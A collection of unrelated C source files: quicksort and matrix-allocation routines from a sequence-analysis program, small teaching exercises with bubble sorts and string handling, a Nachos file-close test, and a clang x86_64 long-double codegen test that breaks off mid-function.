rate = rate/nSeq;
BAR = BAR+nstep;
n_hit[num_hits] = j-i;
s_len[num_hits] = rd_locus[i];
// printf("Array: %d %d %d %d %lf\n",nSeq,num_hits,j-i,s_len[num_hits],rate);
num_hits++;
num_steps++;
}
else if((j-i)==1)
{
rate = 100;
rate = rate/nSeq;
BAR = rd_locus[i];
}
i=j-1;
}
hit_max = 0;
hit_loc = 0;
hit_buk = 0;
nSeq = num_hits;
for(i=0;i<nSeq;i++)
{
if(n_hit[i] > hit_max)
{
hit_max = n_hit[i];
hit_loc = s_len[i];
hit_buk = i;
}
num_reads = num_reads + n_hit[i];
}
hit_siga = 0;
hit_max = 0;
rate = 0.0;
for(i=hit_buk;i<nSeq;i++)
{
hit_max = hit_max + n_hit[i];
sigama = hit_max;
sigama = sigama/num_reads;
if(sigama >= 0.341)
{
hit_siga = s_len[i]-hit_loc;
rate = s_len[i]-hit_loc;
rate = rate/s_len[nSeq-1];
// printf("AA: %d %d %lf\n",i,s_len[i],rate);
i = nSeq;
}
}
/*
if(rate == 0.0)
printf("F: %d %d %lf %d\n",i,s_len[nSeq-1],rate,nSeq);
else
printf("F: %d %d %lf\n",i,s_len[i],rate); */
NL_score = rate;
hit_max = 0;
rate = 0.0;
j = 0;
for(i=hit_buk;i>=0;i--)
{
hit_max = hit_max + n_hit[i];
sigama = hit_max;
sigama = sigama/num_reads;
if(sigama >= 0.341)
{
hit_siga = s_len[i]-hit_loc;
rate = hit_loc-s_len[i];
rate = rate/s_len[nSeq-1];
// printf("BB: %d %d %lf\n",i,s_len[i],rate);
j = i;
i = -1;
}
}
/*
if(rate == 0.0)
printf("B: %d %d %lf\n",0,s_len[0],rate);
else
printf("B: %d %d %lf\n",j,s_len[j],rate); */
NR_score = rate;
}
#define SWAP(a,b) temp=(a);(a)=b;(b)=temp;
/* Subroutine to sort an array arr[0,...,n-1] into ascending order while
making the corresponding reaarangement of the array brr[0,...,n-1]
by the use of Quicksort (Sedgwick, R. 1978, Communications o fthe ACM,
vol. 21, pp. 847-857) also see Numerical Recipes in C */
/* =============================== */
void ArraySort_Long(int n, long *arr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,jstack=0,NSTACK=50,istack[NSTACK];
long a,temp,MIN=7;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]<=a) break;
arr[i+1]=arr[i];
}
arr[i+1]=a;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
if(arr[m]>arr[ir])
{
SWAP(arr[m],arr[ir]);
}
if(arr[m+1]>arr[ir])
{
SWAP(arr[m+1],arr[ir]);
}
if(arr[m]>arr[m+1])
{
SWAP(arr[m],arr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
for(;;)
{
do i++; while (arr[i]<a);
do j--; while (arr[j]>a);
if(j<i) break;
SWAP(arr[i],arr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* =============================== */
void ArraySort_Int(int n, int *arr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,jstack=0,NSTACK=50,istack[NSTACK];
int a,temp,MIN=7;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]<=a) break;
arr[i+1]=arr[i];
}
arr[i+1]=a;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
if(arr[m]>arr[ir])
{
SWAP(arr[m],arr[ir]);
}
if(arr[m+1]>arr[ir])
{
SWAP(arr[m+1],arr[ir]);
}
if(arr[m]>arr[m+1])
{
SWAP(arr[m],arr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
for(;;)
{
do i++; while (arr[i]<a);
do j--; while (arr[j]>a);
if(j<i) break;
SWAP(arr[i],arr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* =============================== */
void ArraySort_Mix(int n, long *arr, int *brr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,jstack=0,b,NSTACK=50,istack[NSTACK];
long a,temp,MIN=7;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
b=brr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]<=a) break;
arr[i+1]=arr[i];
brr[i+1]=brr[i];
}
arr[i+1]=a;
brr[i+1]=b;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
SWAP(brr[k],brr[m+1]);
if(arr[m]>arr[ir])
{
SWAP(arr[m],arr[ir]);
SWAP(brr[m],brr[ir]);
}
if(arr[m+1]>arr[ir])
{
SWAP(arr[m+1],arr[ir]);
SWAP(brr[m+1],brr[ir]);
}
if(arr[m]>arr[m+1])
{
SWAP(arr[m],arr[m+1]);
SWAP(brr[m],brr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
b=brr[m+1];
for(;;)
{
do i++; while (arr[i]<a);
do j--; while (arr[j]>a);
if(j<i) break;
SWAP(arr[i],arr[j]);
SWAP(brr[i],brr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
brr[m+1]=brr[j];
brr[j]=b;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* =============================== */
void ArraySort_Int2(int n, int *arr, int *brr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,jstack=0,b,NSTACK=50,istack[NSTACK];
int a,temp,MIN=7;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
b=brr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]<=a) break;
arr[i+1]=arr[i];
brr[i+1]=brr[i];
}
arr[i+1]=a;
brr[i+1]=b;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
SWAP(brr[k],brr[m+1]);
if(arr[m]>arr[ir])
{
SWAP(arr[m],arr[ir]);
SWAP(brr[m],brr[ir]);
}
if(arr[m+1]>arr[ir])
{
SWAP(arr[m+1],arr[ir]);
SWAP(brr[m+1],brr[ir]);
}
if(arr[m]>arr[m+1])
{
SWAP(arr[m],arr[m+1]);
SWAP(brr[m],brr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
b=brr[m+1];
for(;;)
{
do i++; while (arr[i]<a);
do j--; while (arr[j]>a);
if(j<i) break;
SWAP(arr[i],arr[j]);
SWAP(brr[i],brr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
brr[m+1]=brr[j];
brr[j]=b;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* =============================== */
void ArraySort_float(int n, float *arr, int *brr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,b,jstack=0,NSTACK=50,istack[NSTACK],MIN=7;
float a,temp;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
b=brr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]<=a) break;
arr[i+1]=arr[i];
brr[i+1]=brr[i];
}
arr[i+1]=a;
brr[i+1]=b;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
SWAP(brr[k],brr[m+1]);
if(arr[m]>arr[ir])
{
SWAP(arr[m],arr[ir]);
SWAP(brr[m],brr[ir]);
}
if(arr[m+1]>arr[ir])
{
SWAP(arr[m+1],arr[ir]);
SWAP(brr[m+1],brr[ir]);
}
if(arr[m]>arr[m+1])
{
SWAP(arr[m],arr[m+1]);
SWAP(brr[m],brr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
b=brr[m+1];
for(;;)
{
do i++; while (arr[i]<a);
do j--; while (arr[j]>a);
if(j<i) break;
SWAP(arr[i],arr[j]);
SWAP(brr[i],brr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
brr[m+1]=brr[j];
brr[j]=b;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* function to sort an array into a decreasing order: a>b>c>.... */
/* =============================== */
void ArraySort2_Int2(int n, int *arr, int *brr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,jstack=0,b,NSTACK=50,istack[NSTACK];
int a,temp,MIN=7;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
b=brr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]>=a) break;
arr[i+1]=arr[i];
brr[i+1]=brr[i];
}
arr[i+1]=a;
brr[i+1]=b;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
SWAP(brr[k],brr[m+1]);
if(arr[m]<arr[ir])
{
SWAP(arr[m],arr[ir]);
SWAP(brr[m],brr[ir]);
}
if(arr[m+1]<arr[ir])
{
SWAP(arr[m+1],arr[ir]);
SWAP(brr[m+1],brr[ir]);
}
if(arr[m]<arr[m+1])
{
SWAP(arr[m],arr[m+1]);
SWAP(brr[m],brr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
b=brr[m+1];
for(;;)
{
do i++; while (arr[i]>a);
do j--; while (arr[j]<a);
if(j<i) break;
SWAP(arr[i],arr[j]);
SWAP(brr[i],brr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
brr[m+1]=brr[j];
brr[j]=b;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* function to sort an array into a decreasing order: a>b>c>.... */
/* =============================== */
void ArraySort_float2(int n, float *arr, int *brr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,b,jstack=0,NSTACK=50,istack[NSTACK],MIN=7;
float a,temp;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
b=brr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]>=a) break;
arr[i+1]=arr[i];
brr[i+1]=brr[i];
}
arr[i+1]=a;
brr[i+1]=b;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
SWAP(brr[k],brr[m+1]);
if(arr[m]<arr[ir])
{
SWAP(arr[m],arr[ir]);
SWAP(brr[m],brr[ir]);
}
if(arr[m+1]<arr[ir])
{
SWAP(arr[m+1],arr[ir]);
SWAP(brr[m+1],brr[ir]);
}
if(arr[m]<arr[m+1])
{
SWAP(arr[m],arr[m+1]);
SWAP(brr[m],brr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
b=brr[m+1];
for(;;)
{
do i++; while (arr[i]>a);
do j--; while (arr[j]<a);
if(j<i) break;
SWAP(arr[i],arr[j]);
SWAP(brr[i],brr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
brr[m+1]=brr[j];
brr[j]=b;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* =============================== */
void ArraySort_Mix3(int n, long *arr, int *brr, int *crr)
/* =============================== */
{
int i,ir=n-1,j,k,m=0,jstack=0,b,c,NSTACK=50,istack[NSTACK];
long a,temp,MIN=7;
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
a=arr[j];
b=brr[j];
c=crr[j];
for(i=j-1;i>=m;i--)
{
if(arr[i]<=a) break;
arr[i+1]=arr[i];
brr[i+1]=brr[i];
crr[i+1]=crr[i];
}
arr[i+1]=a;
brr[i+1]=b;
crr[i+1]=c;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
SWAP(arr[k],arr[m+1]);
SWAP(brr[k],brr[m+1]);
SWAP(crr[k],crr[m+1]);
if(arr[m]>arr[ir])
{
SWAP(arr[m],arr[ir]);
SWAP(brr[m],brr[ir]);
SWAP(crr[m],crr[ir]);
}
if(arr[m+1]>arr[ir])
{
SWAP(arr[m+1],arr[ir]);
SWAP(brr[m+1],brr[ir]);
SWAP(crr[m+1],crr[ir]);
}
if(arr[m]>arr[m+1])
{
SWAP(arr[m],arr[m+1]);
SWAP(brr[m],brr[m+1]);
SWAP(crr[m],crr[m+1]);
}
i=m+1;
j=ir;
a=arr[m+1];
b=brr[m+1];
c=crr[m+1];
for(;;)
{
do i++; while (arr[i]<a);
do j--; while (arr[j]>a);
if(j<i) break;
SWAP(arr[i],arr[j]);
SWAP(brr[i],brr[j]);
SWAP(crr[i],crr[j]);
}
arr[m+1]=arr[j];
arr[j]=a;
brr[m+1]=brr[j];
brr[j]=b;
crr[m+1]=crr[j];
crr[j]=c;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* to swap the string arrays */
/* ============================================= */
void s_swap(char **Pair_Name, int i, int j)
/* ============================================= */
{
char temp[Max_N_NameBase];
strcpy(temp,Pair_Name[i]);
strcpy(Pair_Name[i],Pair_Name[j]);
strcpy(Pair_Name[j],temp);
}
/* to sort the string array in order */
/* ============================================= */
void ArraySort_String(int n, char **Pair_Name, int *brr)
/* ============================================= */
{
int i,ir=n-1,j,k,m=0,jstack=0,b,NSTACK=50,istack[NSTACK];
int temp,MIN=7;
char p[Max_N_NameBase];
for(;;)
{
/* Insertion sort when subarray is small enough */
if(ir-m<MIN)
{
for(j=m+1;j<=ir;j++)
{
strcpy(p,Pair_Name[j]);
b=brr[j];
for(i=j-1;i>=m;i--)
{
if(strcmp(Pair_Name[i],p)<=0) break;
strcpy(Pair_Name[i+1],Pair_Name[i]);
brr[i+1]=brr[i];
}
strcpy(Pair_Name[i+1],p);
brr[i+1]=b;
}
if(!jstack) return;
ir=istack[jstack--];
m=istack[jstack--];
}
else
{
k=(m+ir)>>1;
s_swap(Pair_Name,k,m+1);
SWAP(brr[k],brr[m+1]);
if(strcmp(Pair_Name[m],Pair_Name[ir])>0)
{
s_swap(Pair_Name,m,ir);
SWAP(brr[m],brr[ir]);
}
if(strcmp(Pair_Name[m+1],Pair_Name[ir])>0)
{
s_swap(Pair_Name,m+1,ir);
SWAP(brr[m+1],brr[ir]);
}
if(strcmp(Pair_Name[m],Pair_Name[m+1])>0)
{
s_swap(Pair_Name,m,m+1);
SWAP(brr[m],brr[m+1]);
}
i=m+1;
j=ir;
strcpy(p,Pair_Name[m+1]);
b=brr[m+1];
for(;;)
{
do i++; while (strcmp(Pair_Name[i],p)<0);
do j--; while (strcmp(Pair_Name[j],p)>0);
if(j<i) break;
s_swap(Pair_Name,i,j);
SWAP(brr[i],brr[j]);
}
strcpy(Pair_Name[m+1],Pair_Name[j]);
strcpy(Pair_Name[j],p);
brr[m+1]=brr[j];
brr[j]=b;
jstack+=2;
/* Push pointers to larger subarray on stack */
/* process smaller subarray immediately */
if(jstack>NSTACK)
{
printf("Stack error: NSTACK too small\n");
exit(0);
}
if(ir-i+1>=j-m)
{
istack[jstack]=ir;
istack[jstack-1]=i;
ir=j-1;
}
else
{
istack[jstack]=j-1;
istack[jstack-1]=m;
m=i;
}
}
}
}
/* creat an int matrix with subscript ange m[nrl...nrh][ncl...nch] */
int **imatrix(long nrl,long nrh,long ncl,long nch)
{
long i, nrow=nrh-nrl+1,ncol=nch-ncl+1;
int **m;
/* allocate pointers to rows */
if((m=(int **)calloc(nrow,sizeof(int*)))==NULL)
{
printf("error imatrix: calloc error No. 1 \n");
return(NULL);
}
m+=0;
m-=nrl;
/* allocate rows and set pointers to them */
if((m[nrl]=(int *)calloc(nrow*ncol,sizeof(int)))==NULL)
{
printf("error imatrix: calloc error No. 2 \n");
return(NULL);
}
m[nrl]+=0;
m[nrl]-=nrl;
for(i=nrl+1;i<=nrh;i++)
m[i]=m[i-1]+ncol;
/* return pointer to array of pointers to rows */
return m;
}
/* creat char matrix with subscript ange cm[nrl...nrh][ncl...nch] */
char **cmatrix(long nrl,long nrh,long ncl,long nch)
{
long i, nrow=nrh-nrl+1,ncol=nch-ncl+1;
char **cm;
/* allocate pointers to rows */
if((cm=(char **)calloc(nrow,sizeof(char*)))==NULL)
{
printf("error cmatrix: calloc error No. 1 \n");
return(NULL);
}
cm+=0;
cm-=nrl;
/* allocate rows and set pointers to them */
if((cm[nrl]=(char *)calloc(nrow*ncol,sizeof(char)))==NULL)
{
printf("error cmatrix: calloc error No. 2 \n");
return(NULL);
}
cm[nrl]+=0;
cm[nrl]-=nrl;
for(i=nrl+1;i<=nrh;i++)
cm[i]=cm[i-1]+ncol;
/* return pointer to array of pointers to rows */
return cm;
}
/* creat char matrix with subscript ange fm[nrl...nrh][ncl...nch] */
float **fmatrix(long nrl,long nrh,long ncl,long nch)
{
long i, nrow=nrh-nrl+1,ncol=nch-ncl+1;
float **fm;
/* allocate pointers to rows */
if((fm=(float **)calloc(nrow,sizeof(float*)))==NULL)
{
printf("error fmatrix: calloc error No. 1 \n");
return(NULL);
}
fm+=0;
fm-=nrl;
/* allocate rows and set pointers to them */
if((fm[nrl]=(float *)calloc(nrow*ncol,sizeof(float)))==NULL)
{
printf("error fmatrix: calloc error No. 2 \n");
return(NULL);
}
fm[nrl]+=0;
fm[nrl]-=nrl;
for(i=nrl+1;i<=nrh;i++)
fm[i]=fm[i-1]+ncol;
/* return pointer to array of pointers to rows */
return fm;
}
|
the_stack_data/188521.c | int
main()
{
int arr[2];
int *p;
p = &arr[0];
p += 1;
*p = 123;
if(arr[1] != 123)
return 1;
return 0;
}
|
the_stack_data/80090.c |
#include<stdio.h>
int main()
{
int a[]={23,45,11,24,67,89,6,3,55,77};
int size = 9;
int pass=0,temp=0,comp=0;
for (pass=1;pass<size;pass++)
{
for(comp=0;comp<size-pass;comp++)
{
if(a[comp] > a[comp+1])
{
temp=a[comp];
a[comp]=a[comp+1];
a[comp+1] = temp;
}
}
}
for (pass =0; pass <10;pass++)
{
printf("%d \n",a[pass]);
}
return 0;
}
|
the_stack_data/1038485.c | #include "syscall.h"
#include "stdlib.h"
/*
* Purpose is to test whether close does not delete file marked for
* deletion while this file is still opened by some other process.
*
* Creates file and executes child process joining it. Child process
* will open same file again, call unlink on it, which should mark the
* file for deletion, as it is still opened by parent process and at last
* call close on the file descriptor opened by child process. Call to close
* by child process should not delete file, as it is still opened by parent
* process, even if it is already marked for deletion. After child process
* returns, parent process call to close should cause file to be deleted.
*
* argc - equals 2
* argv[0] - indicates which part should run
* argv[1] - file that does not exist in nachos_home directory
*
* returns - 0 on success
*/
int main(int argc, char **argv) {
int fd = -1;
char *args[2];
int child_pid = -1;
int child_status = -1;
// Make sure we have been called with correct number of arguments.
assert(2 == argc);
if (0 == strcmp("first", argv[0])) {
// Create file.
fd = creat(argv[1]);
assert(-1 != fd);
// Execute child process and wait for it's return.
args[0] = "second";
args[1] = argv[1];
child_pid = exec("test_close_3.elf", 2, args);
assert(-1 != child_pid);
assert(1 == join(child_pid, &child_status));
assert(0 == child_status);
// Close file which should cause file deletion.
assert(0 == close(fd));
} else if (0 == strcmp("second", argv[0])) {
// Open file, mark it for deletion and close it.
// Closing file should not cause file deletion, because it is
// still opened by parent process.
fd = open(argv[1]);
assert(-1 != fd);
assert(0 == unlink(argv[1]));
assert(0 == close(fd));
} else {
// Wrong usage fail program.
assertNotReached();
}
return 0;
} |
the_stack_data/154831502.c | #include <stdio.h>
void problema3()
{
/*declaratii variabile*/
FILE *in, *out;
/*declaratii alte variabile*/
/*optional - alocari dinamice de memorie*/
in = fopen("date_3.in", "r");
/*citire date din fisierul de intrare*/
fclose(in);
/*prelucrare date*/
out = fopen("date_3.out", "w");
/*scriere date prelucrate in fisierul de iesire*/
fclose(out);
/*optional - eliberarea altor resurse (de exemplu, dezalocari de memorie)*/
}
|
the_stack_data/93886656.c | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
/* Returning a string from a function */
char * update_string(char * str, int len) {
/* Allocate a new string - len + the null terminator */
char * newstr = malloc ((len+1) * sizeof(char));
int ii=0;
/* Change ' ' to _, s to $, a to @, h to # */
while ( (ii<len) && (str[ii] != '\0')) {
/* Don't forget: chars are surrounded by single quotes
'a' -> char
"a" -> string literal
*/
newstr[ii] = str[ii];
if (str[ii] == ' ') { newstr[ii] = '_'; }
if (str[ii] == 's') { newstr[ii] = '$'; }
if (str[ii] == 'a') { newstr[ii] = '@'; }
if (str[ii] == 'h') { newstr[ii] = '#'; }
ii++;
}
newstr[ii] = '\0';
return newstr;
}
int main(int argc, char * argv[]) {
char * first_arg;
/* Two examples - string in a character array & a pointer to a string literal */
char original_string[] = "Test hash";
char * another_string = "Yet another test!";
char * updated_string;
/* Command line arguments */
printf ("There were %d command line arguments: \n", argc);
for (int ii=0;ii<argc;ii++) {
printf(" %d: %s\n", ii, argv[ii]);
}
/* Copying an argument to a pointer */
if (argc > 1) {
first_arg = argv[1];
printf("The first argument is %s\n", first_arg);
}
/* Note that the next line of code throws away the value of the pointer
creating a memory leak!
printf("\"This is a test string for update_string()!\" changes to \"%s\"\n",
update_string("This is a test string for update_string()!", 43));
*/
updated_string = update_string(original_string, strlen(original_string));
printf("\"%s\" changes to \"%s\"\n", original_string, updated_string);
free(updated_string); /* Now no memory leak! */
updated_string = update_string(another_string, strlen(another_string));
printf("\"%s\" changes to \"%s\"\n", another_string, updated_string);
free(updated_string); /* Now no memory leak! */
/* Unprintable characters */
char * chars = "Hello";
char morechars[6];
printf("\n");
for (int ii=0;ii<5;ii++) {
morechars[ii] = chars[ii] - 100;
}
morechars[5] = '\0'; /* don't forget the null terminator! */
printf("chars: %s\n", chars);
printf("morechars: %s\n", morechars);
for (int ii=0;ii<6;ii++) {
printf("\t%d=[%c]\t\t%d=[%c]\n", chars[ii], chars[ii], morechars[ii], morechars[ii]);
}
printf("\n");
/* Character literals are integers */
printf("Using character literal '7':\n");
int val = 'A' * '7';
printf("%c * %c = %d\n", 'A', '7', val);
printf("%d * %d = %d\n", 'A', '7', val);
printf("\n");
printf("Using integer literal 7:\n");
val = 'A' * 7;
printf("%d * %d = %d\n", 'A', 7, val);
return 0;
} |
the_stack_data/11076303.c | /*
* Willard Wider
* 1/22/18
* lab1.c
*/
//we need these
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void)
{
printf("Hello World!\n");
//print a random int value
int randum = 0;
//between 0 and 99
//formula: % (max + 1 - min) + min
srand(time(NULL));
randum = rand() % (100);
printf("Random value is %d", randum);
//print a fresh line
printf("\n");
}
|
the_stack_data/208698.c | #include <stdio.h>
#include <stdlib.h>
void swap(int *, int *);
/**
* Bubble sort algorithm.
*
* @param int input Array to sort
* @param int n Number of data in search array
*
* @return void
*/
void bubble_sort(int *input, int n)
{
for (int i = 0; i < n - 1; i++) {
for (int j = 0; j < n - i - 1; j++) {
if (input[j] > input[j + 1]) {
swap(input + j, input + j + 1);
}
}
}
}
void swap(int *a, int *b)
{
int temp = *b;
*b = *a;
*a = temp;
}
int main()
{
int n;
printf("How many numbers? ");
scanf("%d", &n);
int *input = (int *) malloc(n * sizeof(int));
printf("Enter %d numbers: ", n);
for (int i = 0; i < n; i++) {
scanf("%d", input + i);
}
bubble_sort(input, n);
for (int i = 0; i < n; i++) {
printf("%d\t", *(input + i));
}
free(input);
}
|
the_stack_data/1037493.c | // RUN: %clang_cc1 -triple x86_64-linux-android -emit-llvm -O -o - %s \
// RUN: | FileCheck %s --check-prefix=ANDROID --check-prefix=CHECK
// RUN: %clang_cc1 -triple x86_64-linux-gnu -emit-llvm -O -o - %s \
// RUN: | FileCheck %s --check-prefix=GNU --check-prefix=CHECK
// RUN: %clang_cc1 -triple x86_64 -emit-llvm -O -o - %s \
// RUN: | FileCheck %s --check-prefix=GNU --check-prefix=CHECK
// NaCl is an example of a target for which long double is the same as double.
// RUN: %clang_cc1 -triple x86_64-nacl -emit-llvm -O -o - %s \
// RUN: | FileCheck %s --check-prefix=NACL --check-prefix=CHECK
// Android uses fp128 for long double but other x86_64 targets use x86_fp80.
long double dataLD = 1.0L;
// ANDROID: @dataLD = local_unnamed_addr global fp128 0xL00000000000000003FFF000000000000, align 16
// GNU: @dataLD = local_unnamed_addr global x86_fp80 0xK3FFF8000000000000000, align 16
long double _Complex dataLDC = {1.0L, 1.0L};
// ANDROID: @dataLDC = local_unnamed_addr global { fp128, fp128 } { fp128 0xL00000000000000003FFF000000000000, fp128 0xL00000000000000003FFF000000000000 }, align 16
// GNU: @dataLDC = local_unnamed_addr global { x86_fp80, x86_fp80 } { x86_fp80 0xK3FFF8000000000000000, x86_fp80 0xK3FFF8000000000000000 }, align 16
long double TestLD(long double x) {
return x * x;
// ANDROID: define fp128 @TestLD(fp128 %x)
// GNU: define x86_fp80 @TestLD(x86_fp80 %x)
// NACL: define double @TestLD(double %x)
}
long double _Complex TestLDC(long double _Complex x) {
return x * x;
// ANDROID: define void @TestLDC({ fp128, fp128 }* {{.*}}, { fp128, fp128 }* {{.*}} %x)
// GNU: define { x86_fp80, x86_fp80 } @TestLDC({ x86_fp80, x86_fp80 }* {{.*}} %x)
// NACL: define { double, double } @TestLDC(double %x{{.*}}, double %x{{.*}})
}
typedef __builtin_va_list va_list;
int TestGetVarInt(va_list ap) {
return __builtin_va_arg(ap, int);
// Since int can be passed in memory or register there are two branches.
// CHECK: define i32 @TestGetVarInt(
// CHECK: br label
// CHECK: br label
// CHECK: = phi
// CHECK: ret i32
}
double TestGetVarDouble(va_list ap) {
return __builtin_va_arg(ap, double);
// Since double can be passed in memory or register there are two branches.
// CHECK: define double @TestGetVarDouble(
// CHECK: br label
// CHECK: br label
// CHECK: = phi
// CHECK: ret double
}
long double TestGetVarLD(va_list ap) {
return __builtin_va_arg(ap, long double);
// fp128 and double can be passed in memory or in register, but x86_fp80 is in
// memory.
// ANDROID: define fp128 @TestGetVarLD(
// GNU: define x86_fp80 @TestGetVarLD(
// NACL: define double @TestGetVarLD(
// ANDROID: br label
// ANDROID: br label
// NACL: br
// ANDROID: = phi
// GNU-NOT: br
// GNU-NOT: = phi
// NACL: = phi
// ANDROID: ret fp128
// GNU: ret x86_fp80
}
long double _Complex TestGetVarLDC(va_list ap) {
return __builtin_va_arg(ap, long double _Complex);
// Pair of fp128 or x86_fp80 are passed as struct in memory.
// ANDROID: define void @TestGetVarLDC({ fp128, fp128 }* {{.*}}, %struct.__va_list_tag*
// GNU: define { x86_fp80, x86_fp80 } @TestGetVarLDC(
// Pair of double can go in SSE registers or memory
// NACL: define { double, double } @TestGetVarLDC(
// ANDROID-NOT: br
// GNU-NOT: br
// NACL: br
// ANDROID-NOT: phi
// GNU-NOT: phi
// NACL: phi
// ANDROID: ret void
// GNU: ret { x86_fp80, x86_fp80 }
// NACL: ret { double, double }
}
void TestVarArg(const char *s, ...);
void TestPassVarInt(int x) {
TestVarArg("A", x);
// CHECK: define void @TestPassVarInt(i32 %x)
// CHECK: call {{.*}} @TestVarArg(i8* {{.*}}, i32 %x)
}
void TestPassVarFloat(float x) {
TestVarArg("A", x);
